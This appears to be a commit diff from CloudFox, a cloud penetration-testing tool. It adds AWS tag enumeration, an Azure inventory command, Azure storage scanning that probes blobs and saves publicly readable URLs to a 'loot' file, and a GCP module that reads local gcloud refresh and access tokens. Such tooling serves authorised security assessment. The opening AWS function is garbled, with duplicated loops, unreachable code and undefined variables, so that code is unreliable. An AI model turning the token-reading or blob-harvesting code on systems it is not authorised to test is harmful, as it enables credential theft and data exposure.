func (m *TagsModule) getResources(r string) ([]types.ResourceTagMapping, error) {
var PaginationControl *string
var resources []types.ResourceTagMapping
// a for loop that accepts user input. If no user input, it will continue to paginate until there are no mor pages. If there is user input, it will paginate until the user input is reached.
for {
if len(resources) < m.MaxResourcesPerRegion || m.MaxResourcesPerRegion == 0 {
GetResources, err := m.ResourceGroupsTaggingApiInterface.GetResources(
context.TODO(),
&resourcegroupstaggingapi.GetResourcesInput{
PaginationToken: PaginationControl,
},
func(o *resourcegroupstaggingapi.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return resources, err
}
resources = append(resources, GetResources.ResourceTagMappingList...)
if aws.ToString(GetResources.PaginationToken) != "" {
PaginationControl = GetResources.PaginationToken
} else {
PaginationControl = nil
break
}
for _, tag := range resource.Tags {
key := aws.ToString(tag.Key)
value := aws.ToString(tag.Value)
dataReceiver <- Tag{
AWSService: parsedArn.Service,
Arn: resourceArn,
Name: parsedArn.Resource,
Region: r,
Type: resourceType,
Key: key,
Value: value,
}
}
}
if aws.ToString(GetResources.PaginationToken) != "" {
PaginationControl = GetResources.PaginationToken
} else {
PaginationControl = nil
break
return resources, nil
}
}
return resources, nil
}
+95
View File
@@ -0,0 +1,95 @@
package aws
import (
"context"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi"
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
)
type MockedTagsGetResources struct {
}
func (m *MockedTagsGetResources) GetResources(ctx context.Context, params *resourcegroupstaggingapi.GetResourcesInput, optFns ...func(*resourcegroupstaggingapi.Options)) (*resourcegroupstaggingapi.GetResourcesOutput, error) {
testResources := []types.ResourceTagMapping{}
testResources = append(testResources, types.ResourceTagMapping{
ResourceARN: aws.String("arn:aws:ec2:us-east-1:123456789012:instance/i-1234567890abcdef0"),
Tags: []types.Tag{
{
Key: aws.String("Name"),
Value: aws.String("test"),
},
},
})
testGetResourcesOutput := &resourcegroupstaggingapi.GetResourcesOutput{
ResourceTagMappingList: testResources,
}
return testGetResourcesOutput, nil
}
func TestTags(t *testing.T) {
subtests := []struct {
name string
outputDirectory string
verbosity int
testModule TagsModule
expectedResult []Tag
}{
{
name: "TestTags",
outputDirectory: ".",
verbosity: 2,
testModule: TagsModule{
ResourceGroupsTaggingApiInterface: &MockedTagsGetResources{},
Caller: sts.GetCallerIdentityOutput{
Account: aws.String("123456789012"),
Arn: aws.String("arn:aws:iam::123456789012:user/test"),
UserId: aws.String("AIDAJDPLRKLG7UEXAMPLE"),
},
AWSRegions: []string{"us-east-1"},
OutputFormat: "table",
Goroutines: 10,
AWSProfile: "test",
WrapTable: false,
MaxResourcesPerRegion: 100,
},
expectedResult: []Tag{
{
AWSService: "ec2",
Region: "us-east-1",
Type: "instance",
Key: "Name",
Value: "test",
},
},
},
}
internal.MockFileSystem(true)
for _, subtest := range subtests {
t.Run(subtest.name, func(t *testing.T) {
subtest.testModule.PrintTags(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
if len(subtest.testModule.Tags) != len(subtest.expectedResult) {
t.Errorf("Expected %d results, got %d", len(subtest.expectedResult), len(subtest.testModule.Tags))
}
for i, ExpectedTag := range subtest.expectedResult {
if ExpectedTag.Type != subtest.testModule.Tags[i].Type {
t.Errorf("Expected Type = %s, got %s", subtest.testModule.Tags[i].Type, ExpectedTag.Type)
}
if ExpectedTag.Key != subtest.testModule.Tags[i].Key {
t.Errorf("Expected Key = %s, got %s", subtest.testModule.Tags[i].Key, ExpectedTag.Key)
}
if ExpectedTag.Value != subtest.testModule.Tags[i].Value {
t.Errorf("Expected Value = %s, got %s", subtest.testModule.Tags[i].Value, ExpectedTag.Value)
}
}
})
}
}
+1 -1
View File
@@ -56,7 +56,7 @@ func getVMsPerTenantID(AzTenantID string) ([]string, [][]string) {
var resultsBody, b [][]string
var err error
for _, s := range getSubscriptionsPerTenantID(AzTenantID) {
for _, s := range GetSubscriptionsPerTenantID(AzTenantID) {
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
resultsHeader, b, err = getComputeRelevantData(s, rg)
if err != nil {
+130
View File
@@ -0,0 +1,130 @@
package azure
import (
"context"
"fmt"
"path/filepath"
"sort"
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzInventoryCommand(AzTenantID, AzSubscriptionID, Version string, AzVerbosity int, AzWrapTable bool) error {
o := internal.OutputClient{
Verbosity: AzVerbosity,
CallingModule: globals.AZ_INVENTORY_MODULE_NAME,
Table: internal.TableClient{
Wrap: AzWrapTable,
},
}
if AzTenantID != "" && AzSubscriptionID == "" {
// To-Do: implement per tentant
fmt.Println("Inventory per tenant not yet implemented. Please use the --subscription flag instead.")
} else if AzTenantID == "" && AzSubscriptionID != "" {
// ./cloudfox azure storage --subscription SUBSCRIPTION_ID
fmt.Printf(
"[%s][%s] Gathering inventory for subscription %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
color.CyanString(o.CallingModule),
AzSubscriptionID)
AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscriptionID))
header, body, err := prepareInventoryTable(AzTenantID, AzSubscriptionID)
if err != nil {
return err
}
o.Table.TableFiles = append(o.Table.TableFiles,
internal.TableFile{
Header: header,
Body: body,
Name: globals.AZ_INVENTORY_MODULE_NAME})
o.PrefixIdentifier = fmt.Sprintf("subscription-%s", AzSubscriptionID)
o.Table.DirectoryName = filepath.Join(
globals.CLOUDFOX_BASE_DIRECTORY,
globals.AZ_DIR_BASE,
"subscriptions",
AzSubscriptionID)
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
}
o.WriteFullOutput(o.Table.TableFiles, nil)
return nil
}
func prepareInventoryTable(tenantID, subscriptionID string) ([]string, [][]string, error) {
resources, err := getResources(tenantID, subscriptionID)
if err != nil {
return nil, nil, err
}
inventory := make(map[string]map[string]int)
resourceTypes := make(map[string]bool)
resourceLocations := make(map[string]bool)
for _, resource := range resources {
resourceType := ptr.ToString(resource.Type)
resourceLocation := ptr.ToString(resource.Location)
_, ok := inventory[resourceType]
if !ok {
inventory[resourceType] = make(map[string]int)
}
inventory[resourceType][resourceLocation]++
resourceTypes[resourceType] = true
resourceLocations[resourceLocation] = true
}
header := []string{"Resource Type"}
var body [][]string
for location := range resourceLocations {
header = append(header, location)
}
for t := range resourceTypes {
row := []string{t}
for location := range resourceLocations {
count, ok := inventory[t][location]
if ok {
row = append(row, fmt.Sprintf("%d", count))
} else {
row = append(row, "-")
}
}
body = append(body, row)
}
sort.Slice(body, func(i, j int) bool {
return body[i][0] < body[j][0]
})
return header, body, nil
}
func getResources(tenantID, subscriptionID string) ([]*armresources.GenericResourceExpanded, error) {
client := internal.GetARMresourcesClient(tenantID, subscriptionID)
var resources []*armresources.GenericResourceExpanded
pager := client.NewListPager(nil)
for pager.More() {
nextResult, err := pager.NextPage(context.TODO())
if err != nil {
return nil, err
}
resources = append(resources, nextResult.Value...)
}
return resources, nil
}
+85
View File
@@ -0,0 +1,85 @@
package azure
import (
"context"
"fmt"
"sort"
"testing"
"github.com/Azure/azure-sdk-for-go/sdk/azidentity"
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
)
func TestAzInventoryPoC(t *testing.T) {
// Using the new version implementation
// https://github.com/Azure/azure-sdk-for-go/blob/main/documentation/MIGRATION_GUIDE.md
tenantID := ""
subscriptionID := ""
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
if err != nil {
return
}
client, err := armresources.NewClient(subscriptionID, cred, nil)
if err != nil {
return
}
var resources []*armresources.GenericResourceExpanded
pager := client.NewListPager(nil)
for pager.More() {
nextResult, err := pager.NextPage(context.TODO())
if err != nil {
return
}
resources = append(resources, nextResult.Value...)
}
inventory := make(map[string]map[string]int)
resourceTypes := make(map[string]bool)
resourceLocations := make(map[string]bool)
for _, resource := range resources {
resourceType := ptr.ToString(resource.Type)
resourceLocation := ptr.ToString(resource.Location)
_, ok := inventory[resourceType]
if !ok {
inventory[resourceType] = make(map[string]int)
}
inventory[resourceType][resourceLocation]++
resourceTypes[resourceType] = true
resourceLocations[resourceLocation] = true
}
header := []string{"Resource Type"}
var body [][]string
for location := range resourceLocations {
header = append(header, location)
}
for t := range resourceTypes {
row := []string{t}
for location := range resourceLocations {
count, ok := inventory[t][location]
if ok {
row = append(row, fmt.Sprintf("%d", count))
} else {
row = append(row, "-")
}
}
body = append(body, row)
}
sort.Slice(body, func(i, j int) bool {
return body[i][0] < body[j][0]
})
internal.MockFileSystem(true)
internal.OutputSelector(2, "table", header, body, ".", "test.txt", "inventory", true, "sub-11111111-1111-11111-1111-1111111111111111")
}
+168 -24
View File
@@ -4,12 +4,14 @@ import (
"context"
"encoding/json"
"fmt"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/storage/mgmt/storage"
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob"
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob/container"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
@@ -17,10 +19,14 @@ import (
"github.com/kyokomi/emoji"
)
// Color functions
var cyan = color.New(color.FgCyan).SprintFunc()
func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version string, AzVerbosity int, AzWrapTable bool) error {
var err error
var header []string
var body [][]string
var publicBlobURLs []string
var outputDirectory, controlMessagePrefix string
if AzTenantID != "" && AzSubscriptionID == "" {
@@ -30,7 +36,7 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
AzTenantID)
header, body, err = getStorageInfoPerTenant(AzTenantID)
header, body, publicBlobURLs, err = getStorageInfoPerTenant(AzTenantID)
controlMessagePrefix = fmt.Sprintf("tenant-%s", AzTenantID)
outputDirectory = filepath.Join(
globals.CLOUDFOX_BASE_DIRECTORY,
@@ -45,7 +51,8 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
AzSubscriptionID)
header, body, err = getStorageInfoPerSubscription(AzSubscriptionID)
AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscriptionID))
header, body, publicBlobURLs, err = getStorageInfoPerSubscription(AzTenantID, AzSubscriptionID)
controlMessagePrefix = fmt.Sprintf("subscription-%s", AzSubscriptionID)
outputDirectory = filepath.Join(
globals.CLOUDFOX_BASE_DIRECTORY,
@@ -63,59 +70,107 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
if body != nil {
internal.OutputSelector(AzVerbosity, AzOutputFormat, header, body, outputDirectory, fileNameWithoutExtension, globals.AZ_STORAGE_MODULE_NAME, AzWrapTable, controlMessagePrefix)
}
if publicBlobURLs != nil {
err = writeBlobURLslootFile(globals.AZ_STORAGE_MODULE_NAME, controlMessagePrefix, outputDirectory, publicBlobURLs)
if err != nil {
return err
}
}
return nil
}
func getStorageInfoPerTenant(AzTenantID string) ([]string, [][]string, error) {
func writeBlobURLslootFile(callingModule, controlMessagePrefix, outputDirectory string, publicBlobURLs []string) error {
lootDirectory := filepath.Join(outputDirectory, "loot")
lootFilePath := filepath.Join(lootDirectory, "public-blob-urls.txt")
err := os.MkdirAll(lootDirectory, os.ModePerm)
if err != nil {
return err
}
file, err := os.Create(lootFilePath)
if err != nil {
return err
}
defer file.Close()
for _, url := range publicBlobURLs {
_, err := file.WriteString(url + "\n")
if err != nil {
return err
}
}
fmt.Printf("[%s][%s] Loot file written to [%s]\n", cyan(callingModule), cyan(controlMessagePrefix), file.Name())
return nil
}
func getStorageInfoPerTenant(AzTenantID string) ([]string, [][]string, []string, error) {
var err error
var header []string
var body, b [][]string
var publicBlobURLs []string
for _, s := range getSubscriptionsPerTenantID(AzTenantID) {
header, b, err = getRelevantStorageAccountData(ptr.ToString(s.SubscriptionID))
for _, s := range GetSubscriptionsPerTenantID(AzTenantID) {
header, b, publicBlobURLs, err = getRelevantStorageAccountData(AzTenantID, ptr.ToString(s.SubscriptionID))
if err != nil {
return nil, nil, err
return nil, nil, nil, err
} else {
body = append(body, b...)
}
}
return header, body, nil
return header, body, publicBlobURLs, nil
}
func getStorageInfoPerSubscription(AzSubscriptionID string) ([]string, [][]string, error) {
func getStorageInfoPerSubscription(AzTenantID, AzSubscriptionID string) ([]string, [][]string, []string, error) {
var err error
var header []string
var body [][]string
var publicBlobURLs []string
for _, s := range getSubscriptions() {
if ptr.ToString(s.SubscriptionID) == AzSubscriptionID {
header, body, err = getRelevantStorageAccountData(ptr.ToString(s.SubscriptionID))
header, body, publicBlobURLs, err = getRelevantStorageAccountData(AzTenantID, ptr.ToString(s.SubscriptionID))
if err != nil {
return nil, nil, err
return nil, nil, nil, err
}
}
}
return header, body, nil
return header, body, publicBlobURLs, nil
}
func getRelevantStorageAccountData(subscriptionID string) ([]string, [][]string, error) {
tableHeader := []string{"Subscription ID", "Storage Account Name", "Kind", "Public Blob Allowed"}
func getRelevantStorageAccountData(tenantID, subscriptionID string) ([]string, [][]string, []string, error) {
tableHeader := []string{"Subscription ID", "Storage Account Name", "Container Name", "Access Status"}
var tableBody [][]string
var publicBlobURLs []string
storageAccounts, err := getStorageAccounts(subscriptionID)
if err != nil {
return nil, nil, err
return nil, nil, nil, err
}
for _, sa := range storageAccounts {
tableBody = append(tableBody,
[]string{
subscriptionID,
ptr.ToString(sa.Name),
string(sa.Kind),
strconv.FormatBool(ptr.ToBool(sa.AllowBlobPublicAccess)),
},
)
blobClient, err := internal.GetStorageAccountBlobClient(tenantID, ptr.ToString(sa.Name))
if err != nil {
return nil, nil, nil, err
}
containers, err := getStorageAccountContainers(blobClient)
if err != nil {
return nil, nil, nil, err
}
for containerName, accessType := range containers {
tableBody = append(tableBody,
[]string{
subscriptionID,
ptr.ToString(sa.Name),
containerName,
accessType})
}
urls, err := getPublicBlobURLs(blobClient, ptr.ToString(sa.Name), containers)
if err != nil {
return nil, nil, nil, err
}
publicBlobURLs = append(publicBlobURLs, urls...)
}
return tableHeader, tableBody, nil
return tableHeader, tableBody, publicBlobURLs, nil
}
var getStorageAccounts = getStorageAccountsOriginal
@@ -150,3 +205,92 @@ func mockedGetStorageAccounts(subscriptionID string) ([]storage.Account, error)
}
return storageAccountsResults, nil
}
func getStorageAccountContainers(client *azblob.Client) (map[string]string, error) {
containers := make(map[string]string)
pager := client.NewListContainersPager(&azblob.ListContainersOptions{
Include: azblob.ListContainersInclude{Metadata: true, Deleted: true},
})
for pager.More() {
resp, err := pager.NextPage(context.TODO())
if err != nil {
return nil, err
}
for _, container := range resp.ContainerItems {
if container.Properties.PublicAccess != nil {
containers[ptr.ToString(container.Name)] = "public"
} else {
containers[ptr.ToString(container.Name)] = "private"
}
}
}
return containers, nil
}
func getPublicBlobURLs(client *azblob.Client, storageAccountName string, containers map[string]string) ([]string, error) {
var publicBlobURLs []string
for containerName, accessType := range containers {
if accessType == "public" {
url, err := getPublicBlobURLsForContainer(client, storageAccountName, containerName)
if err != nil {
return nil, err
}
publicBlobURLs = append(publicBlobURLs, url...)
}
}
return publicBlobURLs, nil
}
func getPublicBlobURLsForContainer(client *azblob.Client, storageAccountName, containerName string) ([]string, error) {
blobNames, err := getAllBlobsForContainer(client, containerName)
if err != nil {
return nil, err
}
publicBlobURLs, err := validatePublicBlobURLs(storageAccountName, containerName, blobNames)
if err != nil {
return nil, err
}
return publicBlobURLs, nil
}
func getAllBlobsForContainer(blobClient *azblob.Client, containerName string) ([]string, error) {
var blobNames []string
pager := blobClient.NewListBlobsFlatPager(containerName, &azblob.ListBlobsFlatOptions{
Include: container.ListBlobsInclude{Deleted: true, Versions: true},
})
for pager.More() {
resp, err := pager.NextPage(context.TODO())
if err != nil {
return nil, err
}
for _, b := range resp.Segment.BlobItems {
blobNames = append(blobNames, ptr.ToString(b.Name))
}
}
return blobNames, nil
}
func validatePublicBlobURLs(storageAccountName, containerName string, blobNames []string) ([]string, error) {
var publicBlobURLs []string
if blobNames == nil {
return nil, nil
}
for _, b := range blobNames {
blobURL := fmt.Sprintf("https://%s.blob.core.windows.net/%s/%s", storageAccountName, containerName, b)
response, err := http.Head(blobURL)
if err != nil {
return nil, err
}
if response.StatusCode == http.StatusOK {
publicBlobURLs = append(publicBlobURLs, blobURL)
}
}
return publicBlobURLs, nil
}
+2
View File
@@ -9,6 +9,8 @@ import (
"github.com/BishopFox/cloudfox/internal"
)
// TO-DO: add blob URL enumeration to this table test.
// This test won't work anymore until blob URL enumeration is added.
func TestAzStorageCommand(t *testing.T) {
fmt.Println()
fmt.Println("[test case] Azure Storage Accounts")
+20
View File
@@ -0,0 +1,20 @@
[
{
"storage_account_name": "storagedo89vl86ey",
"blob_urls": [
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test1.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test2.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test3.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test4.txt"
]
},
{
"storage_account_name": "storagedo89vl86ey",
"blob_urls": [
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test1.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test2.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test3.txt",
"https://storagedo89vl86ey.blob.core.windows.net/containercfuyyey5nm/test4.txt"
]
}
]
+11 -1
View File
@@ -50,7 +50,17 @@ func getWhoamiRelevantDataPerRG() ([]string, [][]string) {
return tableHead, tableBody
}
func getSubscriptionsPerTenantID(tenantID string) []subscriptions.Subscription {
func GetTenantIDPerSubscription(subscriptionID string) *string {
subs := getSubscriptions()
for _, s := range subs {
if ptr.ToString(s.SubscriptionID) == subscriptionID {
return s.TenantID
}
}
return nil
}
func GetSubscriptionsPerTenantID(tenantID string) []subscriptions.Subscription {
subs := getSubscriptions()
var results []subscriptions.Subscription
for _, s := range subs {
+5
View File
@@ -6,6 +6,7 @@ import (
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
)
func TestAzWhoamiCommand(t *testing.T) {
@@ -48,3 +49,7 @@ func TestAzWhoamiCommand(t *testing.T) {
AzWhoamiCommand(s.version, s.wrapTableOutput)
}
}
func TestTest(t *testing.T) {
fmt.Println(ptr.ToString(GetTenantIDPerSubscription("4cedc5dd-e3ad-468d-bf66-32e31bdb9148")))
}
+760 -280
View File
File diff suppressed because it is too large. Load diff
+28 -3
View File
@@ -33,7 +33,28 @@ var (
Display Available Azure CLI Sessions:
./cloudfox az whoami`,
Run: func(cmd *cobra.Command, args []string) {
azure.AzWhoamiCommand(cmd.Root().Version, AzWrapTable)
err := azure.AzWhoamiCommand(cmd.Root().Version, AzWrapTable)
if err != nil {
log.Fatal(err)
}
},
}
AzInventoryCommand = &cobra.Command{
Use: "inventory",
Aliases: []string{"inv"},
Short: "Display an inventory table of all resources per location",
Long: `
Enumerate inventory for a specific tenant:
./cloudfox az inventory --tenant TENANT_ID
Enumerate inventory for a specific subscription:
./cloudfox az inventory --subscription SUBSCRIPTION_ID
`,
Run: func(cmd *cobra.Command, args []string) {
err := azure.AzInventoryCommand(AzTenantID, AzSubscriptionID, cmd.Root().Version, AzVerbosity, AzWrapTable)
if err != nil {
log.Fatal(err)
}
},
}
AzRBACCommand = &cobra.Command{
@@ -83,7 +104,10 @@ Enumerate storage accounts for a specific subscription:
./cloudfox az storage --subscription SUBSCRIPTION_ID
`,
Run: func(cmd *cobra.Command, args []string) {
azure.AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, cmd.Root().Version, AzVerbosity, AzWrapTable)
err := azure.AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, cmd.Root().Version, AzVerbosity, AzWrapTable)
if err != nil {
log.Fatal(err)
}
},
}
)
@@ -131,5 +155,6 @@ func init() {
AzWhoamiCommand,
AzRBACCommand,
AzInstancesCommand,
AzStorageCommand)
AzStorageCommand,
AzInventoryCommand)
}
+232
View File
@@ -0,0 +1,232 @@
package cli
import (
"log"
"fmt"
"os"
"github.com/BishopFox/cloudfox/gcp"
internal_gcp "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/globals"
"github.com/spf13/cobra"
)
var (
// GCP resources filtering options
GCPOrganizations []string
GCPProjectIDs []string
GCPFolderIDs []string
// Output formatting options
GCPOutputFormat string
GCPOutputDirectory string
GCPVerbosity int
GCPWrapTable bool
GCPProfilesList string
GCPAllProfiles bool
GCPProfiles []string
// misc options
GCPConfirm bool
GCPSkipAdminCheck bool
GCPIgnoreCache bool
// command specific options
GCPTreeFormat string
// logger
GCPLogger = internal.NewLogger()
GCPCommands = &cobra.Command{
Use: "gcp",
Aliases: []string{"gcloud"},
Long: `See "Available Commands" for GCP Modules below`,
Short: "See \"Available Commands\" for GCP Modules below",
Run: func(cmd *cobra.Command, args []string) {
cmd.Help()
},
}
GCPInventoryCommand = &cobra.Command{
Use: "inventory",
Aliases: []string{},
Short: "Display all available GCP resources",
Long: `
Display available GCP resources:
./cloudfox gcp inventory`,
Run: runGCPInventoryCommand,
}
GCPAccessTokensCommand = &cobra.Command{
Use: "access-tokens",
Aliases: []string{},
Short: "Display all available local gcloud access tokens",
Long: `
Display available gcloud access tokens:
./cloudfox gcp access-tokens`,
Run: runGCPAccessTokensCommand,
}
GCPBucketsCommand = &cobra.Command{
Use: "buckets",
Aliases: []string{},
Short: "Display GCP bucket information",
Args: cobra.MinimumNArgs(0),
Long: `
Display available bucket information:
./cloudfox gcp buckets [project [project...]]`,
Run: runGCPBucketsCommand,
}
HierarchyIncludeIDs bool
GCPHierarchyCommand = &cobra.Command{
Use: "hierarchy",
Aliases: []string{},
Short: "Display GCP resources hierarchy",
Long: `
Display available resources' hierarchy:
./cloudfox gcp hierarchy`,
Run: runGCPHierarchyCommand,
}
)
func initGCPProfiles() {
// bypass profile selection logic for commands that don't require authentication
if GCPAccessTokensCommand.CalledAs() != "" {
return
} else if GCPAccessTokensCommand.CalledAs() != "" {
return
}
// Ensure that profile selection is consistent
if (len(GCPProfiles) != 0 || GCPProfilesList != "") && GCPAllProfiles {
GCPLogger.Fatal("Error specifying GCP profiles. Choose only one of -p/--profile, -a/--all-profiles, -l/--profiles-list")
}
// at this point, GCPProfiles only contains the profiles submitted over the CLI
// if the --all-profiles option is submitted, replacing the profiles with all existing ones
if GCPAllProfiles {
GCPProfiles = internal_gcp.GetAllGCPProfiles()
}
// if --profiles-list option is submitted, adding the profiles from the list to the existing ones
if GCPProfilesList != "" {
GCPProfiles = append(GCPProfiles, internal_gcp.GetSelectedGCPProfiles(GCPProfilesList)...)
}
// remove duplicate
GCPProfiles = internal.RemoveDuplicateStr(GCPProfiles)
if (len(GCPProfiles) == 0) {
GCPLogger.Info("No GCP profile selection submitted, trying to find the default profile...")
var allProfiles = internal_gcp.GetAllGCPProfiles()
if len(allProfiles) > 0 {
GCPProfiles = append(GCPProfiles, allProfiles[len(allProfiles) - 1])
} else {
GCPLogger.Fatal("Could not find any usable GCP profile")
}
}
if !GCPConfirm {
result := internal_gcp.ConfirmSelectedProfiles(GCPProfiles)
if !result {
os.Exit(1)
}
}
}
func runGCPHierarchyCommand(cmd *cobra.Command, args []string) {
for _, profile := range GCPProfiles {
var client = internal_gcp.NewGCPClient(profile)
m := gcp.HierarchyModule{
Organizations: GCPOrganizations,
Projects: GCPProjectIDs,
Folders: GCPFolderIDs,
Client: *client,
}
err := m.DisplayHierarchy(GCPTreeFormat)
if err != nil {
GCPLogger.ErrorM(fmt.Sprintf("Error running %s module on profile %s", globals.GCP_HIERARCHY_MODULE_NAME, profile), globals.GCP_HIERARCHY_MODULE_NAME)
}
}
}
func runGCPBucketsCommand(cmd *cobra.Command, args []string) {
for _, profile := range GCPProfiles {
var client = internal_gcp.NewGCPClient(profile)
m := gcp.BucketsModule{
Organizations: GCPOrganizations,
Projects: GCPProjectIDs,
Folders: GCPFolderIDs,
Client: *client,
}
err := m.ListBuckets(args)
if err != nil {
GCPLogger.ErrorM(fmt.Sprintf("Error running %s module on profile %s", globals.GCP_BUCKETS_MODULE_NAME, profile), globals.GCP_BUCKETS_MODULE_NAME)
}
}
}
func runGCPAccessTokensCommand(cmd *cobra.Command, args []string) {
m := gcp.AccessTokensModule{
Organizations: GCPOrganizations,
Projects: GCPProjectIDs,
Folders: GCPFolderIDs,
}
err := m.PrintAccessTokens(GCPOutputFormat, GCPOutputDirectory, Verbosity)
if err != nil {
log.Fatal(err)
}
}
func runGCPInventoryCommand(cmd *cobra.Command, args []string) {
for _, profile := range GCPProfiles {
var client = internal_gcp.NewGCPClient(profile)
m := gcp.InventoryModule{
Organizations: GCPOrganizations,
Projects: GCPProjectIDs,
Folders: GCPFolderIDs,
Client: *client,
}
err := m.PrintInventory(GCPOutputFormat, GCPOutputDirectory, Verbosity)
if err != nil {
GCPLogger.ErrorM(fmt.Sprintf("Error running %s module on profile %s: %v", globals.GCP_INVENTORY_MODULE_NAME, profile, err), globals.GCP_INVENTORY_MODULE_NAME)
}
}
}
func init() {
cobra.OnInitialize(initGCPProfiles)
// Globals flags for the GCP modules
GCPCommands.PersistentFlags().StringArrayVar(&GCPProfiles, "profile", []string{}, "GCloud CLI Profile Name")
GCPCommands.PersistentFlags().StringVarP(&GCPProfilesList, "profiles-list", "l", "", "File containing a list of GCP CLI profile names separated by newlines")
GCPCommands.PersistentFlags().BoolVarP(&GCPAllProfiles, "all-profiles", "a", false, "Use all available and valid GCP CLI profiles")
// Resource filtering options
GCPCommands.PersistentFlags().StringArrayVarP(&GCPOrganizations, "organization", "o", []string{}, "Organization name or number, repetable")
GCPCommands.PersistentFlags().StringArrayVarP(&GCPProjectIDs, "projectid", "p", []string{}, "Project slug or number, repeatable")
GCPCommands.PersistentFlags().StringArrayVarP(&GCPFolderIDs, "folderid", "f", []string{}, "Folder name or number, repeatable")
// Global flags for the GCP modules
GCPCommands.PersistentFlags().BoolVarP(&GCPConfirm, "yes", "y", false, "Non-interactive mode (like apt/yum)")
GCPCommands.PersistentFlags().StringVarP(&GCPOutputFormat, "output", "", "brief", "[\"brief\" | \"wide\" ]")
GCPCommands.PersistentFlags().IntVarP(&Verbosity, "verbosity", "v", 1, "1 = Print control messages only\n2 = Print control messages, module output\n3 = Print control messages, module output, and loot file output\n")
GCPCommands.PersistentFlags().StringVar(&GCPOutputDirectory, "outdir", defaultOutputDir, "Output Directory ")
GCPCommands.PersistentFlags().IntVarP(&Goroutines, "max-goroutines", "g", 30, "Maximum number of concurrent goroutines")
GCPCommands.PersistentFlags().BoolVar(&GCPSkipAdminCheck, "skip-admin-check", false, "Skip check to determine if role is an Admin")
GCPCommands.PersistentFlags().BoolVarP(&GCPWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
GCPCommands.PersistentFlags().BoolVar(&GCPIgnoreCache, "ignore-cache", false, "Disable loading of cached data. Slower, but important if changes have been recently made")
GCPHierarchyCommand.Flags().BoolVarP(&HierarchyIncludeIDs, "ids", "i", false, "Use this flag to display resources IDs in the hierarchy tree")
GCPHierarchyCommand.Flags().StringVar(&GCPTreeFormat, "tree", "horizontal", "[\"horizontal\" | \"vertical\" ]")
GCPCommands.AddCommand(
GCPAccessTokensCommand,
GCPHierarchyCommand,
GCPInventoryCommand,
GCPBucketsCommand,
)
}
+92
View File
@@ -0,0 +1,92 @@
package gcp
import (
"fmt"
"strings"
"time"
"github.com/fatih/color"
"github.com/BishopFox/cloudfox/internal/gcp"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/globals"
)
type AccessTokensModule struct {
// Filtering data
Organizations []string
Folders []string
Projects []string
}
func (m *AccessTokensModule) PrintAccessTokens(outputFormat string, outputDirectory string, verbosity int) error {
GCPLogger.InfoM(fmt.Sprintf("Enumerating GCP local access tokens (%s, %s)...", color.CyanString("default user token"), color.RedString("application-default token")), globals.GCP_ACCESSTOKENS_MODULE_NAME)
tokens := gcp.ReadRefreshTokens()
accessTokens := gcp.ReadAccessTokens()
applicationdefaulthash := gcp.GetDefaultApplicationHash()
activeAccount := gcp.GetActiveAccount()
var tableHead = []string{"Account", "Credential Type", "Validity", "Refresh Token", "Refresh Token needs password"}
var tableBody [][]string
for _, accessToken := range accessTokens {
// prepare token's associated ID (email or hash)
var emailinfo string
if (accessToken.AccountID == activeAccount) {
emailinfo = color.BlueString(accessToken.AccountID)
} else {
emailinfo = accessToken.AccountID
}
// format expiration time
Exp, _ := time.Parse(time.RFC3339, accessToken.TokenExpiry)
var timeinfo string
if Exp.After(time.Now()) {
timeinfo = Exp.Format(time.RFC1123)
} else {
timeinfo = "EXPIRED"
}
// display token type, user or application credential
var tokentype string
